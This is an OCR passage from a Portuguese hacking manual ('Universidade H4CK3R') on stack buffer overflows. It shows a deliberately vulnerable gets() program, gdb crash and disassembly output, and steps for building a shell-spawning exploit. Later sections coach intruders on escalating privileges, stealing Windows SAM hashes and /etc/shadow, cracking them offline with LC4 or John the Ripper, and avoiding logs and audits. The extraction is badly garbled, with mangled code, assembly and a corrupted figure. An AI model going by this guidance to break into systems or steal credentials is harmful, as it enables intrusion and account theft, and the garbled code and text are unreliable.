possvel, se quisssemos, us-Ia em diversos locais do cdigo. O que essa idioti-
ce faz : 1) criar uma varivel chamada xuxu com um tamanho de 5 bytes; 2)
usar a funo gets( ) da linguagem C para pegar caracteres do teclado e jog-
los na varivel xuxu; 3) usar a funo printf( ) para jogar o resultado na tela.
Se voc est em uma mquina Unix, pode compilar o programinha e test-lo.
Na maioria dos sitemas, use o comando:
$ cc -o idiota idiota. c
Sendo idiota. c o arquivo texto contendo o cdigo do programa e idiota o
arquivo executvel gerado pelo compilador cc. No Linux e no FreeBSD use o
gcc em vez do cc.
Para rodar o programa, digite:
$ ./idiota
Aparentemente, nada acontecer. Tente digitar um caractere qualquer e pres-
sionar a tecla <Enter>. O caracter ser replicado na tela. s isso o que o
programinha faz.
Em uma mquina DOS ou Windows, o procedimento parecido. Procure por
algum compilador de linha de comando. Se no souber onde procurar, comece
com alguns destes. Experimente TODOS e escolha seu preferido!
Para DOS podemos indicar:
~ DJGPp,o GCC do DOS: www.delorie.com/djgpp:
~ O venervel Borland Turbo C 2.01 (Autorizado! No pirataria!):
community. borland.com/museum ;
~ Pacific C: www.elrincondelc.com/compila/pacific.html ;
Para Windows, existem, entre muitas, as seguintes opes:
~ iCC Win32: www.cs.virginia.edu/-lcc-win32/index.html;
~ DevCPP: www.bloodshed.net/devcpp.html (a escolha dos autores!);
Alis, em www.bloodshed.net existem links para compiladores de diversas
linguagens! Confira!
1255 I
I Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
Voltemos ao nosso programa. Quando o main( ) chama funcao_idiota( ), o
processamento do programa principal interrompido e desviado para a fun-
o. Quando a funo termina seu processamento, retoma rotina principal.
Observe o cdigo novamente, desta vez com o fluxo de processamento indica-
do por setas:
void funcao_idiota (void)
char xuxu[5];
gets (xuxu);
Retoma ao
programa
principal
printf(il%s\nil, xuxu );
return;
Desvio
do
processamento
main( )~
{
Inicio aqui
funcao_idiota() ;
return o; ..Fim!
Bonito, no? Em princpio, fun-
ciona. Mas, para interromper o
processamento de main( ),
neceesrio colocar tudo o que
main( ) esteja fazendo em algum
lugar, desviar o processamento
para funcao_idiota( ), processar
o que estiver l e depois retorar
a main( ).A1m de devolver os pos-
sveis valores da funo chama-
da (o que no nosso caso - para
simplificar no passamos argu-
mentos entre as funes), tam-
bm precisamos ter um meio de
saber ONDE na memria estava
o processamento de main( ) para
que retomemos o processo.
Complicado? Tambm achei.
Uma ilustrao ajuda bastante!
12561
Ataque, defesa e contra-ataque: Invaso [
TOpO da Memria
t
Dados anteriores da pilha
Dados de main
()
Ponteiro de Retorno
Ponteiro da Pilha
Dados da funo idiota() (ou
seja, a varivel xuxu)
Universidade 3ano
Nooofaaaa (Com F mesmo. Lingua presa...) ! Mas no era uma pilha? Porque
est de cabea para baixo? Bem, normalmente as pilhas so armazenadas de
cima para baixo, sendo o dado mais antigo na posio mais alta de memria e
a pilha crescendo em direo posio mais baixa. Pense nela como uma pilha
de moedas feita no teto em direo ao cho. Talvez voc tenha que usar cola
para prender as moedas, mas ainda assim uma pilha.
Como dissemos, os dados de main( ) so jogados na pilha. Note que ela no
precisa estar necessariamente vazia, podendo conter, por exemplo, dados do
shell ou da janela onde o programa foi chamado. Depois do main( ), tambm
guardado no stack um ponteiro, chamado de ponteiro de endereo de retorno
ou return address pointer. ele que indica ao processamento onde encontrar a
prxima instruo depois do desvio (onde que eu estava mesmo?). Em nosso
caso especfico, o return pointer guarda o endereo de memria onde reside a
instruo return O.
Depois do ponteiro de retorno, o sistema coloca um ponteiro de pilha, que
aponta para uma tabela com dados de controle sobre a prpria pilha - que
obviamente o leitor compreende ser necessria. Por ltimo, vo os dados tem-
porrios de nossa funo secundria, chamada por main( ). Em nosso caso, a
varivel xuxu, criada pela nossa funo funcao_idiota( ).
Quando a funo secundria termina seu processamento, os dados dela so
retirados da pilha, depois o ponteiro de controle da pilha, depois o ponteiro do
endereo de retorno. Quando o processamento retomado na posio original,
os dados de main so puxados da pilha e tudo volta a ser como era antes. Ser?
Debug is on the table2
Lembremos de dois detalhes vistos nos pargrafos anteriores. O segundo
tenho certeza que foi assimilado pelo leitor apenas como curiosidade, o pri-
meiro deve ter passado despercebido:
1. A varivel xuxu foi declarada como contendo apenas cinco bytes;
2. A pilha armazena dados de baixo para cima.
L atrs ns testamos nosso programinha assim:
$ ./idiota
a
a
$
Quando o processamento chegou na funo gets( ), digitamos a letra "a". A
funo gets( ) colocou "a" dentro da varivel xuxu, que foi impressa na linha
seguinte pelo printf( ). Lembre-se de que xuxu tem um tamanho de apenas
cinco bytes. O que acontece se passarmos de cinco?
2. Aula de ingls geek? Essa frase realmente foi dita, durante uma conversa entre eu e o diretor de
informtica de uma empresa de aviao. Um estagirio ouviu a palavra debug no meio da conversa e saiu-
se com esta. At hoje eu e esse diretor de informtica usamos a expresso como piada local.
12571
]Ataque. defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
Bem, tentamos com cinco letras "A:', a sada foi AAAAA. Com seis, AAAAAA.
Com sete, AAAAAAA. Com oito, aconteceu algo interessante:
$ ./idiota
AAAAAAAA
AAAAAAAA
Falha de segmentao (core dumped)
$
Falha de segmentao! O programa falhou e gerou um relatrio de erros
com o contedo da memria, gravado no arquivo core. O que ser que aconte-
ceu? Lembremos agora da pilha. O espao para nossa varivel xuxu (que pode-
mos chamar de buffer) era de 5 bytes - ns mesmos definimos isso (char
xuxa[5]). Cada caracter ocupa 1 byte, portanto 5 caracteres enche o buffer.
Mas o sistema no possui nenhum mecanismo de checagem, ou melhor, a lin-
guagem C no possui. Portanto, se colocarmos mais de 6 caracteres no buffer,
haver estouro. Os dados a mais sero escritos por cima de alguma outra coisa
(normalmente algo muito importante...).
Agora, o segundo detalhe. A pilha armazena de baixo para cima. Portanto, se
voc olhar a representao grfica que fizemos dela, vai notar que o sexto
caracter vai ser escrito sobre o Ponteiro da Pilha!
O ponteiro de pilha possui vrios bytes ( de tamanho varivel) e o de retomo,
4 bytes3 . por isso que, quando escrevemos 6 ou 7 caracteres, nada acontece -
estamos sobrescrevendo o ponteiro da pilha, em alguma regio que no nos
afeta imediatamente. A partir do oitavo caractere temos um problema imediato:
estamos sobrescrevendo alguma rea importante do ponteiro de pilha.
Se avanarmos mais um pouco, l pelo dcimo-quarto ou dcimo-quinto
caracter certamente chegaremos ao ponteiro de retorno!!!!! Agora o primeiro
byte do endereo de retomo no ser mais o endereo original, ser o valor
hexa do caracter que digitamos! Se for A, por exemplo (ave Aleph1!) o valor
hexadecimal ser 41h. Vamos depurar nosso programa usando o gdb, um
depurador GNU - para DOS, procure uma ferramenta adequada (como o debug)
ou use uma das mquina Linux da nossa rede de testes. Primeiro, vamos rodar
nosso programa e gerar um core dump com muitos "A"s:
$ ./idiota
Falha de segmentao (core dumped)
$
Agora, vamos rodar o gdb e ver o que ele nos diz:
$ gdb idiota core
GNU gdb 5.1
3. Explicaotcnicaavanada:os ponteirostm quatro bytes de comprimento, ou 32 bits,o que
equivale a um valor decimal entre O e 4.294.967.295, ou seja, 4 GB.
2581
Ataque, defesa e contra-ataque: Invaso[
Universidade 3ano
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU ...
(corta)
(no debugging symbols found)...
Core was generated by './idiota'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 Ox41414141 in ?? ()
(gdb)
$
A linha importante, por enquanto, #0 Ox41414141 in ?? (). Ela indica o
endereo de retomo. Observe que, em vez do endereo correto, temos nosso
caracter A (41h) repetido vrias vezes. Bela maneira de fazer o programa abor-
tar! Nosso programinha termina por ali mesmo, mas faamos um teste: entre
as linhas funcao_idiota() e retum O; coloque a seguinte linha printf():
{
funcao_idiota() ;
printf(llNao atingiu Ponteiro de Retorno!\n\nll);
return O;
}
Agora compile e rode o programa. Voc ver que, at 11 caracteres, a mensa-
gem fmal mostrada antes do core dump. Com 12 caracteres ou mais, a mensa-
gem perdida: atingimos o ponteiro de retorno! Esse valor, claro, depende do
programa, dos dados gravados no stack, do tipo de dados do nosso buffer, etc.
Ganhando acesso
por estouro de pilha
S que enfiar um bando de "A"sno buffer no muito til. E se pudssemos
executar algum cdigo de mquina (sim, tem que ser cdigo de mquina, afmal
o programa est compilado...)? Poderamos executar uma pequena rotina car-
regada no prprio buffer, que o nico lugar a que temos acesso. Desviar o
processamento para o buffer no requer prtica nem habilidade: j temos con-
trole sobre o ponteiro de retomo, basta colocar nele o endereo do buffer em
vez da montoeira de "A"s.
I259 I
I Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
Note que este procedimento bem parecido com a injeo de SQLque vimos
no captulo Vulnerabilidades 11.Usamos um campo acessvel externamente pelo
usurio - no caso do SQL, um campo em um formulrio; aqui, uma varivel
solicitando dados - e injetamos nele os comandos pertinentes.
Falamos em cdigo de mquina, no ?Aqui temos o grande pulo-do-gato dos
exploits que se aproveitam do buffer overflow de algum programa mal escri-
to. Ns queremos ganhar um shell no sistema, e isso depende do sistema
operacional. O programa que oferece o shell num Solaris no o mesmo de um
MacOS que no o mesmo no Windows... Por outro lado, para chamar esse
shell temos que colocar um cdigo de mquina no buffer, o que quer dizer que
temos que fazer um exploit para cada dupla SO+Hardware existente. Um exploit
para Linux em Alpha no o mesmo que um para Linux em i386 (os PCs
comuns). o mesmo sistema operacional, mas no o mesmo processadot. Por
outro lado, um PC rodando Windows 2000 vai precisar de um exploit diferen-
te do que um Solaris rodando no mesffissimo Pc. o mesmo processador, mas
no o mesmo SO. Mesmo considerando que estamos usando o mesmo progra-
ma bugado (por exemplo, o interpretador de PerI de cada um dos SOs) o exploit
desse programa vai ser diferente em cada combinao SO+HW
Para fms didticos, vamos nos ater ao PC e ao Linux. Vamos "desassemblar"
nosso programinha com o gdb:
$ gdb idiota
*** mensagens diversas ***
(gdb)disass main
Dump of assembler code for function main:
%ebp
%esp,%ebp
Observe a linha
Ox804846a<main+6>: cal1
260 I
Ataque, defesa e contra-ataque: Invaso [
$Ox8,%esp
Ox8048430 <funcao_idiota>
$Oxfffffff4,%esp
$Ox8048520
Ox8048334 <printf>
$OxlO,%esp
%eax,%eax
Ox8048483 <main+31>
OxO(%esi,l) ,%esi
OxO(%edi,l) ,%edi
Ox8048430 <funcao_idiota>
Ox8048464 <main>:
push
Ox8048465 <main+l>: mov
Ox8048467 <main+3>: sub
Ox804846a <main+6>: cal1
Ox804846f <main+ll>: add
Ox8048472 <main+14>:
push
Ox8048477 <main+19>: cal1
Ox804847c <main+24>: add
Ox804847f <main+27>: xor
Ox8048481 <main+29>:
jmp
Ox8048483 <main+31>: leave
Ox8048484 <main+32>: ret
Ox8048485 <main+33>: lea
Ox8048489 <main+37>: lea
End of assembler dump.
(gdb)
Universidade 3ano
Desenferrujando um pouco nossos conhecimentos de assembler, lembramos
que a funo call chama uma outra funo qualquer residente no endereo
especificado. Como em linguagem de mquina no d pra atribuir nomes s
subrotinas, o sistema tem que saber exatamente onde na memria elas esto.
No comeo da listagem, observe que a funo main inicia na posio de mem-
ria Ox8048464 e instruo call chama uma subrotina que se encontra em
Ox8048430. Vamos dar agora uma olhada na funo funcao_idiota( ):
(gdb) disass funcao_idiota
Durnpof assernblercode for function funcao_idiota:
Ox8048430 <funcao_idiota>: push %ebp
Ox8048431 <funcao_idiota+l>: rnov %esp,%ebp
Ox8048433 <funcao_idiota+3>: sub $Ox18,%esp
Ox8048436 <funcao_idiota+6>: add $Oxfffffff4,%esp
Ox8048439 <funcao_idiota+9>: lea Oxfffffff8(%ebp) ,%eax
Ox804843c <funcao_idiota+12>: push %eax
Ox804843d <funcao_idiota+l3>: call Ox8048304 <gets>
Ox8048442 <funcao_idiota+18>: add $Oxl0,%esp
Ox8048445 <funcao_idiota+2l>: add $Oxfffffff8,%esp
Ox8048448 <funcao_idiota+24>: lea Oxfffffff8(%ebp) ,%eax
Ox804844b <funcao_idiota+27>: push %eax
Ox804844c <funcao_idiota+28>: push $Ox8048500
Ox8048451 <funcao_idiota+33>: calI Ox8048334 <printf>
Ox8048456 <funcao_idiota+38>: add $Oxl0,%esp
Ox8048459 <funcao_idiota+41>: jrnp Ox8048460 <funcao_idiota+48>
Ox804845b <funcao_idiota+43>: nop
Ox804845c <funcao_idiota+44>: lea
Ox8048460 <funcao_idiota+48>: leave
Ox8048461 <funcao_idiota+49>: ret
Ox8048462 <funcao_idiota+50>: rnov
End of assernbler durnp. (gdb)
OxO (%esi, 1) , %esi
%esi,%esi
Olha s! O call da funo main() chama exatamente a funcao_idiotaO. Den-
tro da funo idiota, a linha
Ox8048461<funcao_idiota+49>: ret
mostra a instruo assembler de retomo (ret). Essa instruo vai usar o pon-
teiro de retomo para voltar ao main. Chegamos ao ceme da questo dos exploits
por buffer overflow. Trocando em midos, voc precisa:
1. Descobrir uma varivel do tipo buffer que esteja vulnervel;
2. Verificar, no cdigo fonte ou por tentativa e erro, os endereos onde as
chamadas de funo esto, bem como o endereo que marca o incio do buffer
da varivel;
3. Fabricar um exploit que insira cdigos de mquina no buffer, contendo
1261 I
I Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
instrues para nos dar um shell, e depois "estufe" a pilha at atingir a posio
do ponteiro de retorno, l colocando o endereo do incio do buffer.
Um exemplo, em Unix, seria uma rotina que, atravs da funo execve( )
chamasse um shell. execve( ) uma chamada de sistema que simplesmente
permite executar um arquivo binrio externo ao programa. Que beleza! De
dentro de nosso exploit, executamos Ibin/sh !!!O shell executado no usurio
do programa vulnervel. Se for, por exemplo, no Apache, ganharemos um shell
do usurio nobody. O que hackers mais gostam, nessa hora, so programas
vulnerveis rodando com SUID...Mas isso outra histria (v l e pesquise!).
No Windows, programas vulnerveis rodando com privilgio System so um
perigo! Acesso total mquina. Para explorar um buffer overflow, geralmente
faz-se chamadas a funes de DLLs acessveis pela aplicao vulnervel. Dica
para estudo de execuo arbitrria de comandos no Windows: WININET.DLLe
o prprio MFC.DLL.Novamente, mexa-se...
No vamos nos aprofundar mais, pois no est no escopo do livro entrar
muito fundo nas entranhas de nenhum assembler. Para comear, um belo texto
para iniciantes em buffer overflows (mixter.void.ru/exploit.html). Para saber
mais, recomendo a leitura dos whitepapers da Fatal 3rror (struck.8m.com/G),
o excelente texto de Dark Spyrit sobre buffer overflows no Windows
(community.core-sdi.com/-julianolbufo.html) e o estudo que comeou tudo
isso: "Smashing the stack for fun and profit", do lendrio Alephl, lanado na
edio 49 da ezine Phrak em 1996 e disponvel online no endereo
www.insecure.org/stf/smashstack.txt.
Outro white-paper digno de nota: como explorar servios avanados com
estouros de pilha, indo muito alm de conseguir um shell. Taeho Oh nos mostra
em postech.edu/-ohhara (ou, alternativamente, em ohhara.sarang.net/security/
adv.txt) como furar firewalls baseados em ftltros de pacotes, abrir sockets (e,
portanto, backdoors) no prprio exploit e libertar-se da priso do chroot4.
Se voc quer realmente conhecer a fundo todos os meandros dos estouros de
pilha (nos quais 99% dos exploits existentes so baseados), recomendo, nova-
mente, parar a leitura do livro e estudar os sites indicados. Lembre-se, o Google
seu amigo... Desnecessrio dizer que pr-requisito para isso saber alguns
fundamentos de C e Assembler. Apesar de alguns dizerem que no, as lingua-
gens Pascal (e portanto o Delphy/Kylix tambm) e Basic (Visual Basic, Thrbo
Basic, Quick Basic,...) e mesmo novas linguagens como C++, C# e Java tambm
padecem do mesmo mal. As formas de explorar os estouros nessas linguagens
so diferentes, mas ainda assim a vulnerabilidade existe.
4. Chroot , simplificando a definio, uma maneira de "enjaular" uma aplicao que precise de direitos
de superusurio para rodar. Normalmente, instala-se a aplicao em um diretrio que possui uma cpia do
sistema de arquivos do sistema oper.acional, mas no o sistema de arquivos verdadeiro. Nesse ambiente
falso, a aplicao roda com pseudo-direitos de root, que s valem dentro do ambiente.A aplicao fica feliz
em ser enganada e roda perfeitamente. Se um hacker invadir essa mquina por meio de um buffer overflow
da aplicao em chroot, vai conseguir, no mximo, o mesmo superusurio falso que a aplicao usa.
2621
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
Ganhandoacesso a outras contas
You know the day destroys the night / Night divides the day / Tried to run,
tried to hide / Break on through to the other side5
At agora, invadimos uma nica mquina. Ok, voc pode ter invadido diver-
sas, mas mesmo que "Owne" dez ou quinze delas ainda no pesquisou como a
rede ao redor funciona. Ou pior: voc conseguiu um shell restrito e no conse-
gue fazer muitas coisas! Encontramos dois exemplos clssicos nas pginas an-
teriores: o servidor Web Apache (que roda em usurio nobody) e aplicaes
rodando em chroot.
Tomemos o Apache: voc aplicou um exploit nele e conseguiu um shell. S
que, nesse shell, o usurio que est logado o nobody - um usurio especial
criado justamente para no dar poderes especiais a potenciais invasores. Como
o Apache no precisa de poderes especiais para rodar, apenas acesso a seus
prprios arquivos, tudo corre s mil maravilhas. Um script kid entra por buffer
overflow, tem acesso a um shell do nobody, pode, talvez, sobrescrever uma ou
outra pgina HTML- e s! No tem acesso rede, no tem poderes de root,
no possui sequer um diretrio !home...
No Windows (NT e 2000), apesar de ser mais freqente os administradores
instalarem programas servidores nos grupos System ou Administrator, tam-
bm prtica recomendada de segurana deixar tais programas com o mni-
mo possvel de direitos sobre o sistema.
Nesse cenrio, invadimos a mquina mas no temos, ainda, muito poder so-
bre ela. hora, pois, de tentar conseguir, de alguma forma, acesso a outras
contas e, se possvel, ao superusurio.
A primeira forma a que vimos nas pginas anteriores. Todo usurio tem
acesso a diversos programas em sua mquina normal. Numa mquina Unix
temos diversos scripts, programas de todos os tamanhos como fetchmail, MySQL,
Informix, Oracle, sendmail, login, telnet, popd, inetd... Mais perto do usurio
final, ainda, temos o servidor grfico XWindows, os ambientes KDE, Gnome,
CDE,WindowMaker (etc etc etc) e aplicativos associados. Temos ainda os pr-
prios configuradores do sistema, como Linuxconf no Linux, Smit no AIX,
Admintool no Solaris, SAMno HP-UX... Cada um deles com maior ou menor
grau de direitos sobre o sistema. "Exploitar" qualquer um dos programas deste
pargrafo pode levar ao root ou a, pelo menos, um usurio com mais direitos.
Uma ltima dica: leia atentamente as pginas de manual dos comandos su e
sudo e do arquivo /etc/sudoers. Voc talvez ache interessante. (R h h...)
NoWindows no nada diferente. IIS,subsistema de segurana e login, Access,
Word, Excel, Powerpoint ( triste, mas j encontramos servidores com o Office
5. "Quando o dia destri a noite / a noite divide o dia / tentei correr, tentei me esconder / mas agora atraves-
so para o outro lado". Break on through [to the other sidej. Do lbum The Doors, de 1967.
12631
IAtaque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
instalado...), MS SQL Server, CGls diversos... Todos eles podem ser explorados
para oferecer mais controle. At que se chega em algum usurio ou programa
que d acesso linha de comandos com os privilgios do grupo System (o
"root" do Window NT).A dica, neste caso, fica por conta de exploits sucessivos
(para ganhar cada vez mais poder) em direo a alguma DLLdo prprio Kernel.
Se voc leu o captulo sobre Plataformas Windows, aprendeu que vrias partes
do kernel rodam em User Mode. Algumas, mesmo assim, rodam com privilgi-
os do grupo System. 2+2...
Embora seja efetivo e fcil, depender de exploits pode deix-Io "na mo" em
sistemas bem configurados e, principalmente, atualizados. H, entretanto, for-
mas alternativas de ganhar acesso a outras contas. A quebra de senhas , segu-
ramente, a mais usada.
Mtodos para descobrir usurios e senhas
No captulo 7 (Vulnerabilidades l) vimos diversas maneiras de quebrar as
senhas do sistema. Vamos relembrar algumas:
1. Logins fracos: Duplas usurio/senha com palavras facilmente encontrveis
no dicionrio ou pior, que possam ser descobertas por engenharia social - so
brinquedo na mo de hackers experientes. Listas de palavras e aplicativos que
tentam combinaes baseadas em dicionrios existem s pencas por a.
2. Brute Force: se os logins no so assim to fracos, h ainda a possibilida-
de de direcionar um ataque "burro", que testa as combinaes possveis de
letras, nmeros e smbolos do teclado at encontrar uma ou mais duplas usu-
rio/senha que entrem.
3. Roubo e decifragem dos arquivos de senhas: se o hacker conseguir
obter uma cpia dos arquivos de senhas (SAM databases no Windows, /etc/
passwd e /etc/shadow no Unix) est dentro! Basta usar as ferramentas conhe-
cidas para tal (como o LophtCrack para Windows ou o John the Ripper para
Unix) e pronto! Todas as senhas do sistema esto no papo, incluindo as do
Administrador do Windows e do root no Unix.
Antes de tentar descobrir pares de logins e senhas, vamos ver um exemplo de
ataque por dicionrio e brute force. Observe uma coisa: j estamos dentro da
mquina, portanto nosso script no vai mais enviar uma solicitao de login
via rede. Podemos usar os procedimentos de login locais do prprio sistema
operacional para tentar mudar de usurio. Novamente, um pouco de engenha-
ria social, se possvel, sempre ajuda.
Apesar de ser possvel usar programas prontos para tal, como internamente
cada caso um caso o melhor caminho fazer um script (em shell no Unix ou
em WSE ou VBAno Windows) que teste seqencialmente toda a sua lista de
palavras em todas as combinaes de logins e senha possveis. Elaborar as
listas com os nomes obtidos por engenharia social uma boa prtica.
Um script que fizesse isso deveria ter a seguinte estrutura:
2641
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
1. Pega a prxima palavra do arquivo de dicionrio;
2. Insere esse nome no programa de login do sistema;
3. Pega a primeira palavra do arquivo de dicionrio;
4. Insere como senha no programa de login do sistema;
5. Pega a prxima palavra do arquivo de dicionrio;
6. Insere como senha no programa de login do sistema;
7. Volta ao passo 5 at que todas as palavras tenhas sido usadas;
8. Volta ao passo 1 at que todas as palavras tenhas sido usadas.
fcil implementar isso, por exemplo, com os programas login ou su do
Unix em um shell script. Mas h um problema:VOC ESTSENDOVlGIADO!!!
Todas as tentativas malsucedidas de login estaro sendo registradas nos logs
do sistema. Como voc ainda no tem privilgios de root, seria impossvel apa-
gar tais rastros. Esta, portanto, no a melhor maneira de tentar entrar. H
uma, entretanto, fantasticamente simples e muito mais segura: o roubo do ar-
quivo de senhas e posterior decifragem dos hashes.
imperativo no ser descoberto. Portanto, a metodologia usada pela maioria
dos crackers obter o arquivo de senhas do sistema e tentar quebr-Ias, off1ine,
em casa. Pode-se usar diversos computadores ligados em c1usters - muito
fcil fazer em casa, com Unux, supercomputadores com cinco ou seis 486s e
mesmo 386s obtidos do lixo - e os programas quebradores de senhas j cita-
dos - LOphtCrack e John the Ripper. Uma nica mquina rodando Windows
NT com o LOphtCrack j algo considervel: mesmo que demore um ou dois
meses para conseguir alguma senha usvel, tempo o que o hacker mais tem.
E, trabalhando em casa, o seu trabalho no ser detectvel.
Quebrando senhas no Windows
A sistemtica simples. Deve-se:
1. Roubar o arquivo de senhas e levar pra casa;
2. Passar o arquivo de senhas no programa quebrador;
3. Testar as senhas recuperadas no sistema original pra ver se os usurios
no as alteraram.
Como exemplo prtico, vamos usar um descendente do antigo LOphtCrack, o
LC4, atualmente distribudo pela empresa de segurana @Stake
(www.atstake.com).Criado por hackers como prova de conceito para demons-
trar as fragilidades dos hashes do Windows NT, o software chegou at a verso
2.5 ainda com o cdigo fonte aberto. No final da dcada de 90 os direitos sobre
o software foram transferidos atual proprietria, e o LOphtCrack 2.5 foi
relanado como LC3. O LC4 , portanto, uma evoluo direta do LOphtCrack
2.5. O software hoje vendido a um preo de US$350,00 por licena, mas
possvel fazer download de uma verso de avaliao vlida por 15 dias - com as
rotinas de brute-force desabilitadas. No site, a @Stake oferece, gratuitamente e
com cdigo fonte, a verso 1.5 do LOphtCrack - ainda em linha de comando.
1265 I
]Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
Para o passo 1, devemos de alguma forma "chupar" os hashes dos usurios
contidos no banco de dados SAM, normalmente guardado no registro em
HKEY_LOCAL_MACHINE\SECURlTY\SAM\Domains\Account\Users (achou
que no amos dizer a chave?). Para tanto, podemos usar um utilitrio do pr-
prio LC4, chamado pwdump.
Outro programa que rouba as senhas do SAM o pwdump3. Originalmente
desenvolvido por Jeremy Allison and Todd Sabin, hoje mantido por uma em-
presa, a PoliVec. Embutido em seu produto multiuso de segurana PoliVec
Scanner, o pwdump3 (www.polivec.com/pwdump3.html) permite que as se-
nhas sejam recuperadas inclusive remotamente, pela rede (incluindo a Internet).
Uma terceira opo um utilitrio que acompanha o pacote de servidores
5MBpara Unix, o Samba (www.samba.org).Junto com o produto est includo
um programinha chamado (olha que original...) pwdump, que extrai o SAM
database e o transforma em um arquivo de senhas do Samba (smbpasswd)
vlido. Mais informaes sobre ele podem ser obtidas em us1.samba.org/sam-
ba/ftp/pwdump/ .
Nos trs casos, gera-se arquivos de senhas que o LC4 pode interpretar. Nos trs
casos, tambm, precisa-se de privilgios de Administrador para rodar o progra-
ma. Esse obstculo, apesar de complicado, ainda assim contornvel. H diversas
maneiras de faz-Io:rodando o programa na mquina alvo atravs de um exploit,
rodando o programa em uma mquina de senhas fracas com relaes de confian-
a com a mquina alvo, fazendo invaso fsica no local onde a mquina est...
Uma vez conseguido o arquivo de senhas, passemos ao passo 2. Desconecte-
se completamente da rede a ser invadida e rode, em casa, o LC4 contra seu
arquivo. H uma farta documentao includa com o prprio produto, portan-
to no vamos detalh-Io aquLA figura a seguir mostra um processo de cracking
em andamento, com algumas senhas j descobertas:
-
<m.~
JHISI'1.A<ESUCI
OOU,I>SOI<T
. -
--
~
,-
Od0h1ln!&
OdOh'm,*,
0.1""""52>
OdOhOrn..
G.om
,
iIomIh
.......
-.
,,,..
-
-.
-
"-y"
mmn
mm?RGS3
1'rl??1/>.
_r
'AS"A"""''''
"'''''''''-
" !,,,.."u..
mmJ~
bobofett OdOhlm1o!<
, "-"
"'- 0.1""......
2661
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Observe: como vimos nos captulos sobre Vulnerabilidades, as contas no WinNT
so guardadas em 2 hashes: um para o antigo Lan Manager e outro com a senha
mais forte do NT.Alm do 1M Hash ser mais fcil de quebrar, normalmente os
usurios usam a mesma senha localmente (NTLM). O prprio Lc4 sabe disso e,
uma vez conseguida a senha LM, interrompe o brute force e tenta a mesma
senha no NT. Como voc pode ver na figura, vrias senhas j esto descobertas
e, no exemplo, TODASso iguais nos dois campos. O usurio shennesy parece
gostar do seriado Star Treck e o usurio djattan parece no estar muito conten-
te com seu local de trabalho - com um pouco de engenharia social, o hacker
nem precisaria do Lc4. O usurio Guest no possui senha (glup!).
A figura anterior foi retirada de um estudo de Dan Smith, na Universidade da
Carolina do Norte, EUA,e pode ser encontrado em www.unc.edu/-smithdr/
inls187/sr.htm1 . O estudo, alm de analisar o software, traz dados sobre tempo
para quebrar senhas de todos os tipos, fracas ou teoricamente seguras.
Por ltimo (passo 3), teste todas as senhas que conseguiu no sistema invadi-
do. possvel que algumas estejam trocadas, mas voc j sabe, pelo menos, o
nome dos usurios vlidos e o padro que eles usam para elaborar suas senhas.
Por exemplo, a conta Administrator mostrada possua uma senha BARNABAS09.
As chances esto entre 80% e 90% de que, nos prximos meses, ela seja
BARNABASlO, BARNABASll...Acho que o leitor j "pescou" o mecanismo!
Quebrando senhas no Unix
Voc acha que a sistemtica mudou? Nada disso:
1. Roubar o arquivo de senhas e levar pra casa;
2. Passar o arquivo de senhas no programa quebrador;
3. Testaras senhas recuperadasno sistemaoriginalpra ver se o usuriono a alterou.
H diversos programas para Unix que descobrem senhas em arquivos
criptografados. O mais conhecido certamente o John the Ripper. Us-Io to
fcil que d raiva. Uma vez instalado e configurado, basta "aliment-Io" com o
arquivo de senhas e deixar que ele faa o servio. A sintaxe simples:
$ john arquivo_senhas
No passo 1 temos os mesmo problemas que tivemos com o Wmdows. Como vimos
no captulo sobre PlataformasUnix, os sistemas modernos utilizamo sombreamento
de senhas, que consiste em separar o processo de login em dois arquivos:
o /etc/passwd (que contm informaes gerais sobre o usurio, como nome, login,
GID,UID,diretrio ;home e shell inicial) e o /etc/shadow (que contm as senhas
criptografadas). Como o /etc/passwd tem que ser legvel por todos, os hashes ficari-
am desprotegidos se ficassem a. O arquivo /etc/shadow, ao contrrio, legvel e
editvel apenas e to somente pelo superusurio, o root. Se o sistema invadido pos-
suir sombreamento de senhas, voc s conseguir roubar o arquivo /etc/shadow se
estiver em um shell root. Se o sistema invadido no possuir sombreamento, o "admi-
nistrador" j deixou metade do servio pronto para voc...6
6. Mesmo que o sistema possua password shadowing, voc ainda ter os nomes vlidos de contas. I 267 I
IAtaque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
Encontrar e aplicar um exploit que lhe d acesso a root a forma mais direta
para conseguir o arquivo de shadow. Outras formas incluem:
1. Fazer core dumps de programas SUlDroot que acessem as senhas (como
o FTp' o SSHou o Telnet);
2. Verificar no arquivo passwd qual dos usurios tm "pinta" de ad
mistrador - possvel que ele possua programas SUlD em seu !home.
Uma vez descoberta a senha, chegamos ao passo 2. Basta rodar o ]ohn the
Riper de acordo com o configurado e esperar. No final, uma lista de senhas
vlidas (possivelmente a do root tambm) ser encontrada. O passo 3 trivial:
volte cena do crime e use as senhas. Nada como logar-se como um usurio
autorizado para despistar as auditorias de invaso...
Ganhando acesso e destruindo a rede
Uma vez dentro da rede, h diversas aes possveis de ser tomadas. Estando em
posse de uma mquina, pode ser mais fcil invadir outras. Mas nem s de "Ownar"
vive um cracker. possvel, por exemplo, usar a rede como trampolim para outras
redes maiores. Ou capturar senhas dos usurios em servioes externos - como
senhas de bancos ou nmeros do carto de crdito. Ou ainda desviar o trfego
para que os usurios sejam encaminhados para armadilhas ou sites falsos.
Apresentaremos nesta seo apenas descries resumidas desses tipos de
ataques, com indicaes para sites com mais informaes.
War Driving e War Chalking
Uma das mais novas formas de invaso corporativa o War Driving. Hackers
saem pelas ruas da cidade com gambiarras feitas de latas de batata frita, arru-
elas e alguns cabos, e capturam conexes de rede wireless que estejam "vazan-
do". Como as corporaes no costumam criptografar suas conexes internas,
uma conexo wireless desse tipo fornece um acesso ilimitado, similar ao con-
seguido se o invasor entrar andando pela porta da frente e plugar um cabo do
